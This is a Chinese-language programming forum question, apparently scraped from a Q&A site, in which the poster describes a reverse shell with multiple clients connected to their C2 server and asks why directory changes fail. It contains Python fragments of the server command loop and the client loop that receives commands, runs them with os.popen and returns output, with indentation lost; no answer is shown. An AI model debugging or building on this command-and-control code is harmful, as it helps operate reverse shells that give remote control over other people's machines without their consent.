我创建了一个反向shell,我有多个客户端连接到我的C2服务器,我能够运行一些命令,但由于某种原因我无法更改目录,它只返回OK或nothing。 我不太确定我做错了什么
# Send commands to client or a friend
def send_target_commands(conn):
while True:
try:
cmd = input()
if cmd == 'quit':
break
if cmd == 'exit':
break
if len(str.encode(cmd)) > 0:
conn.send(str.encode(cmd))
client_response = str(conn.recv(20480), "utf-8")
print(client_response, end="")
except:
print("Error sending commands")
break
while True:
cmd = s.recv(20480)
if cmd[:2] == "cd":
os.chdir(str(cmd[3:]))
else:
o = os.popen(cmd).read()
s.send(o)
这是我在输出中得到的:
这是我在client.py文件中的代码,它返回OK消息
#if the command has no output, send 'OK' so the server knows everything is okay
if len(result) == 0:
result = 'OK' .encode()
#send the result to the server
s.send(result)
目前没有回答
相关问题 更多 >
编程相关推荐